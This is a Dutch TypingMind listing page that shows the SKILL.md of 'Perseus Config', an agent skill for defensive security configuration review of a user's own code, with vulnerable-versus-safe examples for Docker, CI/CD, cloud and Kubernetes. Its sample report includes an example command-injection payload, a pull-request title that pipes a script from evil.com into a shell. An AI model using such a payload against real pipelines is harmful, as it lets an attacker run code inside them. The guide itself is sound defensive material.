Logo van Perseus Config

Perseus Config

Community
kaivyy
perseus-config

Security configuration analysis (Headers, CORS, Docker, CI/CD, Cloud, K8s)

Add to TypingMind

Overzicht

Uitgeverkaivyy
Repositoryperseus
Skillnaamperseus-config
Sterren
68
Forks
14
Meegeleverde bestanden
Alleen instructies
LicentieMIT
Links
  • Instructies in Markdown

    Het model laadt het bestand SKILL.md alleen als dat nodig is. Dat kost dus alleen tokens als een verzoek daadwerkelijk bij de skill past.

  • Werkt met elk LLM

    AI-skills bestaan uit instructies in gewone Markdown, niet uit aanbiederspecifieke code. Daardoor werken ze met GPT, Claude, Gemini, Grok of een lokaal model.

  • Compleet zonder extra bestanden

    Alles wat het model nodig heeft, staat in de instructies — geen extra bestanden om te synchroniseren.

  • Open source

    Gepubliceerd door kaivyy op GitHub. Bekijk de bronbestanden voordat je de skill installeert.

Installatie

Installeer de AI-skill Perseus Config in TypingMind om deze met elk LLM te gebruiken, of voeg de skill toe aan een andere agent die SKILL.md kan lezen.

1

Installeren in TypingMind

TypingMind installeert een skill rechtstreeks vanuit de GitHub-map. De app leest SKILL.md, bundelt de bijbehorende bestanden en slaat het resultaat lokaal op.

  1. Open de app en ga naar Plug-ins → Skills.
  2. Kies "Installeren via GitHub".
  3. Plak de onderstaande URL van de skillmap en bevestig.
    https://github.com/kaivyy/perseus/tree/main/skills/perseus/specialists/config
  4. Schakel de skill in voor elke chat waarin je de skill wilt kunnen gebruiken.
Plug-ins → Skills → Skill toevoegen → Via GitHub-URL. Plak vervolgens de map-URL en druk op Doorgaan.
2

Installeren in een andere agent

Elke agent die het Agent Skills-formaat kan lezen, kan deze skill gebruiken — kopieer de map naar de skillmap van die agent.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/kaivyy/perseus.git /tmp/perseus
mkdir -p .claude/skills
cp -r /tmp/perseus/skills/perseus/specialists/config .claude/skills/perseus-config
Start Claude Code na het kopiëren opnieuw op, zodat de nieuwe skill wordt herkend.

Gebruik deze skill in TypingMind

Schakel Perseus Config in voor een chat naar keuze in TypingMind en het model doet de rest. De naam en beschrijving staan in de systeemprompt. Zodra een verzoek bij de skill past, laadt het model zelf de volledige instructies. Je hoeft de skill nooit handmatig aan te roepen. Pas als het model de skill daadwerkelijk gebruikt, kost dat tokens.

Het model laadt Perseus Config automatisch zodra een verzoek erbij past.

Werkt met elk AI-model

AI-skills zijn gewone Markdown-instructies in plaats van aanbiederspecifieke code. Daardoor is Perseus Config niet gebonden aan het model waarvoor de skill is geschreven. Installeer de skill één keer in TypingMind en gebruik deze met GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama of een lokaal model dat je zelf draait — allemaal met je eigen API-sleutels.

  • Alleen geladen wanneer nodig

    De systeemprompt bevat alleen de naam en beschrijving. De instructies worden bij het eerste bijpassende verzoek opgehaald, dus een ongebruikte skill kost niets.

  • Wissel van model tijdens een chat

    Omdat de skill uit instructies bestaat en niet uit code, blijft deze werken als je van model wisselt — het volgende model leest hetzelfde SKILL.md-bestand.

Skillinstructies

Dit is de inhoud van SKILL.md die het model laadt. Lees deze vóór de installatie — een skill bestaat uit instructies die je model zal volgen.

Perseus Configuration Specialist

Context & Authorization

IMPORTANT: This skill performs security configuration analysis on the user's own codebase. This is defensive security testing to ensure proper security hardening.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.


Multi-Language & Platform Support

CategoryTechnologies
Web FrameworksExpress, Fastify, Next.js, Go/Gin, PHP/Laravel, Python/FastAPI, Rust/Actix
ContainersDocker, Podman, containerd
OrchestrationKubernetes, Docker Compose, Docker Swarm
CI/CDGitHub Actions, GitLab CI, Jenkins, CircleCI, Azure DevOps
CloudAWS, GCP, Azure, DigitalOcean, Vercel, Netlify
IaCTerraform, Pulumi, CloudFormation, Ansible

Overview

This specialist skill analyzes security configuration including HTTP headers, TLS settings, CORS policies, container security, CI/CD pipelines, and cloud configurations.

When to Use: As part of any security assessment, or specifically when reviewing deployment configuration.

Goal: Ensure all security configurations follow best practices and don't introduce vulnerabilities.

Engagement Mode Compatibility

ModeSpecialist Behavior
PRODUCTION_SAFEConfiguration and manifest analysis with passive verification
STAGING_ACTIVEControlled config validation with limited active checks
LAB_FULLBroad environment hardening validation in lab
LAB_RED_TEAMDefensive stress simulation for infra misconfig chains in isolated lab

Safety Gates (Required)

  1. Read deliverables/engagement_profile.md before active infra validation.
  2. Default to PRODUCTION_SAFE if engagement mode is missing.
  3. Enforce kill-switch thresholds and stop on environment instability.
  4. Never modify live infrastructure state without explicit approval.

Configuration Risks Covered

RiskDescriptionImpact
Missing Security HeadersNo CSP, HSTS, X-Frame-OptionsXSS, clickjacking
CORS MisconfigurationOverly permissive originsData theft
Insecure CookiesMissing Secure, HttpOnly, SameSiteSession hijacking
Debug ModeProduction debug enabledInfo disclosure
Docker MisconfigRoot user, privileged modeContainer escape
CI/CD SecretsExposed secrets, injectionSupply chain attack
Cloud MisconfigPublic buckets, open security groupsData breach
K8s InsecurityNo RBAC, privileged podsCluster compromise

Execution Instructions

Step 0: Mode & Scope Alignment

  • Load mode/scope/limits from deliverables/engagement_profile.md.
  • Respect deliverables/verification_scope.md when present.
  • Keep production checks read-only and non-disruptive.

Phase 1: HTTP Security Headers (3 Parallel Agents)

  1. CSP Analyst:

    • "Find Content Security Policy configuration across frameworks."

    Framework-Specific:

    javascript
    // Express/Helmet
    app.use(helmet.contentSecurityPolicy({ directives: {...} }));
    
    // Next.js - next.config.js
    headers: [{ key: 'Content-Security-Policy', value: '...' }]
    go
    // Go/Gin
    c.Header("Content-Security-Policy", "default-src 'self'")
    python
    # Django
    CSP_DEFAULT_SRC = ("'self'",)
    
    # FastAPI
    response.headers["Content-Security-Policy"] = "..."
    php
    // Laravel
    header('Content-Security-Policy: default-src \'self\'');
  2. Security Headers Analyst:

    • "Check for all security headers across languages."

    Headers to Check:

    HeaderPurposeRecommended Value
    Strict-Transport-SecurityForce HTTPSmax-age=31536000; includeSubDomains
    X-Frame-OptionsPrevent clickjackingDENY or SAMEORIGIN
    X-Content-Type-OptionsPrevent MIME sniffingnosniff
    Referrer-PolicyControl referrerstrict-origin-when-cross-origin
    Permissions-PolicyLimit browser featuresDisable unused features
  3. Cookie Security Analyst:

    • "Find all cookie setting operations across languages."

    Patterns:

    javascript
    // Express - Check flags
    res.cookie('session', value, { secure: true, httpOnly: true, sameSite: 'strict' });
    go
    // Go
    http.SetCookie(w, &http.Cookie{Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode})
    php
    // PHP
    setcookie('session', $value, ['secure' => true, 'httponly' => true, 'samesite' => 'Strict']);
    python
    # FastAPI/Starlette
    response.set_cookie(key, value, secure=True, httponly=True, samesite='strict')

Phase 2: Docker Security Analysis (4 Parallel Agents)

  1. Dockerfile Analyst:

    • "Analyze all Dockerfiles for security issues."

    Issues to Find:

    dockerfile
    # VULNERABLE - Running as root
    FROM node:18
    COPY . .
    CMD ["node", "app.js"]
    
    # SAFE - Non-root user
    FROM node:18
    RUN addgroup -S app && adduser -S app -G app
    USER app
    COPY --chown=app:app . .
    CMD ["node", "app.js"]

    Checks:

    • Running as root (no USER directive)
    • Using latest tag
    • Secrets in build args or ENV
    • Unnecessary packages installed
    • No health check
    • Exposed unnecessary ports
  2. Docker Compose Analyst:

    • "Analyze docker-compose files for security issues."

    Issues:

    yaml
    # VULNERABLE
    services:
      app:
        privileged: true          # Container escape
        network_mode: host        # No network isolation
        volumes:
          - /:/host               # Host filesystem access
        cap_add:
          - ALL                   # All capabilities
    
    # SAFE
    services:
      app:
        read_only: true
        security_opt:
          - no-new-privileges:true
        cap_drop:
          - ALL
  3. Container Secrets Analyst:

    • "Check for secrets in container configurations."

    Patterns:

    dockerfile
    # VULNERABLE
    ENV DATABASE_PASSWORD=secret123
    ARG API_KEY=sk-xxx
    COPY .env /app/.env
  4. Image Security Analyst:

    • "Check base image security and update status."

    Checks:

    • Using official images
    • Pinned versions (not latest)
    • Multi-stage builds for smaller attack surface
    • Distroless/Alpine for minimal images

Phase 3: CI/CD Security Analysis (4 Parallel Agents)

  1. GitHub Actions Analyst:

    • "Analyze GitHub Actions workflows for security issues."

    Critical Issues:

    yaml
    # VULNERABLE - Command injection
    - run: echo "${{ github.event.issue.title }}"
    
    # SAFE - Use environment variable
    - run: echo "$TITLE"
      env:
        TITLE: ${{ github.event.issue.title }}
    
    # VULNERABLE - Pull request target with checkout
    on: pull_request_target
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Dangerous!
    
    # VULNERABLE - Secrets in logs
    - run: curl -H "Authorization: ${{ secrets.API_KEY }}" $URL

    Checks:

    • Command injection via event data
    • Secrets exposure in logs
    • Overly permissive permissions
    • Using unverified actions
    • pull_request_target misuse
  2. GitLab CI Analyst:

    • "Analyze .gitlab-ci.yml for security issues."

    Issues:

    yaml
    # VULNERABLE
    script:
      - echo $CI_JOB_TOKEN  # Token exposure
      - curl "$USER_INPUT"   # Injection
    
    # Check for:
    # - Unprotected variables
    # - Scripts with user input
    # - Exposed tokens
  3. Secrets Management Analyst:

    • "Check how secrets are managed in CI/CD."

    Checks:

    • Secrets in workflow files
    • Secrets in repository
    • Secrets passed to forks
    • Secrets in build logs
    • Environment variable exposure
  4. Pipeline Permissions Analyst:

    • "Check CI/CD permissions and access controls."

    GitHub Actions Permissions:

    yaml
    # VULNERABLE - Too permissive
    permissions: write-all
    
    # SAFE - Minimal permissions
    permissions:
      contents: read
      pull-requests: write

Phase 4: Cloud Configuration Analysis (4 Parallel Agents)

  1. AWS Configuration Analyst:

    • "Analyze AWS configurations for security issues."

    Check Files:

    • *.tf (Terraform)
    • template.yaml (CloudFormation)
    • serverless.yml
    • .aws/ configs

    Issues:

    hcl
    # VULNERABLE - Public S3
    resource "aws_s3_bucket" "data" {
      acl = "public-read"
    }
    
    # VULNERABLE - Open security group
    resource "aws_security_group" "web" {
      ingress {
        from_port   = 0
        to_port     = 65535
        cidr_blocks = ["0.0.0.0/0"]
      }
    }
    
    # VULNERABLE - Hardcoded credentials
    provider "aws" {
      access_key = "AKIA..."
      secret_key = "..."
    }
  2. GCP/Azure Configuration Analyst:

    • "Analyze GCP and Azure configurations."

    GCP Issues:

    hcl
    # VULNERABLE - Public GCS
    resource "google_storage_bucket_iam_member" "public" {
      member = "allUsers"
      role   = "roles/storage.objectViewer"
    }
  3. Serverless Configuration Analyst:

    • "Analyze serverless configurations (Vercel, Netlify, AWS Lambda)."

    Check:

    • Environment variables in config
    • Overly permissive IAM roles
    • Public function URLs
    • Missing authentication
  4. Infrastructure as Code Analyst:

    • "Check Terraform, Pulumi, Ansible for security issues."

    Terraform Issues:

    hcl
    # VULNERABLE - No encryption
    resource "aws_ebs_volume" "data" {
      encrypted = false
    }
    
    # VULNERABLE - Default VPC
    resource "aws_instance" "web" {
      # No VPC specified, uses default
    }

Phase 5: Kubernetes Security Analysis (4 Parallel Agents)

  1. Pod Security Analyst:

    • "Analyze Kubernetes pod/deployment manifests."

    Issues:

    yaml
    # VULNERABLE
    spec:
      containers:
        - name: app
          securityContext:
            privileged: true           # Container escape
            runAsRoot: true            # Root user
            allowPrivilegeEscalation: true
          volumeMounts:
            - mountPath: /host
              name: host-root          # Host filesystem
    
    # SAFE
    spec:
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000
      containers:
        - name: app
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities:
              drop: ["ALL"]
  2. RBAC Analyst:

    • "Analyze Kubernetes RBAC configurations."

    Issues:

    yaml
    # VULNERABLE - Cluster admin to all
    apiVersion: rbac.authorization.k8s.io/v1
    kind: ClusterRoleBinding
    subjects:
      - kind: ServiceAccount
        name: default
    roleRef:
      kind: ClusterRole
      name: cluster-admin
  3. Network Policy Analyst:

    • "Check Kubernetes network policies."

    Issues:

    • No network policies (all pods can communicate)
    • Overly permissive ingress/egress
    • Missing pod selectors
  4. Secrets & ConfigMap Analyst:

    • "Analyze Kubernetes secrets management."

    Issues:

    yaml
    # VULNERABLE - Plain text secret
    apiVersion: v1
    kind: Secret
    data:
      password: cGFzc3dvcmQ=  # Base64, not encryption!
    
    # Check for:
    # - Secrets in ConfigMaps
    # - Unencrypted secrets
    # - Secrets mounted as environment variables
    # - Missing RBAC on secrets

Phase 6: Application Configuration (3 Parallel Agents)

  1. Debug Mode Analyst:

    • "Check for debug/development mode in production configs."

    Patterns:

    javascript
    // Node.js
    DEBUG = true
    NODE_ENV = 'development'
    python
    # Django
    DEBUG = True
    # Flask
    app.run(debug=True)
    php
    // Laravel
    APP_DEBUG=true
    go
    // Go
    gin.SetMode(gin.DebugMode)
  2. Error Handling Analyst:

    • "Check error responses for information disclosure."
  3. Environment Variables Analyst:

    • "Check .env files and environment variable handling."

    Issues:

    • .env files in repository
    • Secrets in .env.example
    • Missing .env in .gitignore
    • Secrets logged

Output Requirements

Create deliverables/config_security_analysis.md:

markdown
# Security Configuration Analysis

## Summary
| Category | Checks | Pass | Fail | Critical |
|----------|--------|------|------|----------|
| HTTP Headers | X | Y | Z | W |
| Cookies | X | Y | Z | W |
| Docker | X | Y | Z | W |
| CI/CD | X | Y | Z | W |
| Cloud (AWS/GCP/Azure) | X | Y | Z | W |
| Kubernetes | X | Y | Z | W |
| App Config | X | Y | Z | W |

## Technologies Detected
- Framework: [e.g., Next.js, Go/Gin]
- Container: Docker, Kubernetes
- CI/CD: GitHub Actions
- Cloud: AWS

## Critical Findings

### [CONFIG-001] GitHub Actions Command Injection
**Severity:** Critical
**Location:** `.github/workflows/pr.yml:23`

**Vulnerable Code:**
```yaml
- run: |
    echo "PR Title: ${{ github.event.pull_request.title }}"

Attack: Attacker creates PR with title: "; curl evil.com/shell.sh | sh #

Remediation:

yaml
- run: echo "PR Title: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

[CONFIG-002] Privileged Docker Container

Severity: Critical Location: docker-compose.yml:15

Vulnerable Code:

yaml
services:
  app:
    privileged: true

Impact: Container escape, host compromise


[CONFIG-003] Public S3 Bucket

Severity: Critical Location: terraform/storage.tf:8


Docker Security Checklist

CheckStatusFile
Non-root userFAILDockerfile
No secrets in imagePASS-
Pinned base imageFAILDockerfile
Read-only filesystemFAILdocker-compose.yml
Dropped capabilitiesFAILdocker-compose.yml

CI/CD Security Checklist

CheckStatusFile
No command injectionFAILpr.yml
Minimal permissionsFAILbuild.yml
No secrets in logsPASS-
Verified actions onlyWARNdeploy.yml

Kubernetes Security Checklist

CheckStatusFile
Non-root podsFAILdeployment.yaml
Network policiesMISSING-
RBAC configuredWARNrbac.yaml
Secrets encryptedFAILsecrets.yaml

Cloud Security Checklist

CheckStatusResource
No public bucketsFAILS3: data-bucket
Encrypted storagePASSEBS volumes
Restricted security groupsFAILsg-web
No hardcoded credentialsPASS-

Recommendations

Immediate Actions

  1. Fix GitHub Actions command injection
  2. Remove privileged mode from containers
  3. Make S3 bucket private
  4. Add USER directive to Dockerfile

Security Hardening

yaml
# Recommended Kubernetes securityContext
securityContext:
  runAsNonRoot: true
  runAsUser: 1000
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  capabilities:
    drop: ["ALL"]
yaml
# Recommended GitHub Actions permissions
permissions:
  contents: read
  pull-requests: write

**Next Step:** Configuration issues are typically binary (secure or not) and don't require exploit verification.

Veelgestelde vragen

Wat doet de AI-skill Perseus Config?

Security configuration analysis (Headers, CORS, Docker, CI/CD, Cloud, K8s)

Waarom Perseus Config gebruiken in TypingMind?

Omdat je deze skill één keer installeert en met elk model kunt gebruiken. Perseus Config bestaat uit gewone Markdown in plaats van aanbiederspecifieke code. Dezelfde skill werkt dus met GPT-5, Claude, Gemini, Grok of een lokaal model. Ook als je midden in een chat van model wisselt, blijft de skill werken. TypingMind werkt met je eigen API-sleutels, dus je betaalt aanbieders rechtstreeks in plaats van een abonnement per gebruikersplek af te sluiten. Je skills en chats blijven in je eigen opslag.

Hoe installeer ik Perseus Config in TypingMind?

Open Plug-ins → Skills → Installeren vanaf GitHub in TypingMind en plak https://github.com/kaivyy/perseus/tree/main/skills/perseus/specialists/config. TypingMind leest het bestand SKILL.md en installeert het als een skill die je per chat kunt inschakelen.

Welke AI-modellen kunnen Perseus Config gebruiken?

Elk model dat je in TypingMind koppelt. AI-skills bestaan uit gewone Markdown-instructies in plaats van aanbiederspecifieke code. GPT, Claude, Gemini, Grok en lokale modellen kunnen deze skill dus allemaal laden wanneer een verzoek erbij past.

Hoeveel AI-modellen kan ik met Perseus Config gebruiken?

Zoveel als je wilt. Je kunt Perseus Config gebruiken met elk model dat skills ondersteunt, zoals GPT, Claude, Gemini, Grok, DeepSeek, Mistral of Llama. Allemaal in TypingMind met je eigen API-sleutels.

Is de AI-skill Perseus Config gratis?

Ja. Deze skill is door kaivyy op GitHub gepubliceerd onder de licentie MIT. Je betaalt alleen je eigen AI-aanbieder voor de tokens die je gebruikt.

Wat zijn AI-skills?

Een AI-skill is een herbruikbare bundel instructies die een AI-model leert hoe het één specifieke taak moet uitvoeren. De skill volgt het open Agent Skills-formaat: het bestand SKILL.md bevat de naam en beschrijving van de skill. Daarnaast kan de skill scripts, sjablonen of referentiebestanden bevatten die het model nodig heeft. Het model leest de instructies alleen als je verzoek bij de skill past. Een geïnstalleerde skill kost dus niets zolang deze niet wordt gebruikt.

Waarin verschillen AI-skills van plug-ins of MCP-servers?

Een plug-in of MCP-server geeft een model nieuwe tools om aan te roepen: code die ergens wordt uitgevoerd en een resultaat teruggeeft. Een AI-skill geeft het model juist kennis en een werkwijze: hoe het een taak moet aanpakken, welke stappen het moet volgen en hoe goede uitvoer eruitziet. Skills bestaan uit gewone Markdown en hebben dus geen server, API-sleutel of runtime nodig. Ze werken met elk model.

Bekijk alles

Maak nu je eigen AI-werkruimte

Schrijf je in voor onze nieuwsbrief en blijf op de hoogte van nieuwe functies en toekomstige weggeefacties 👇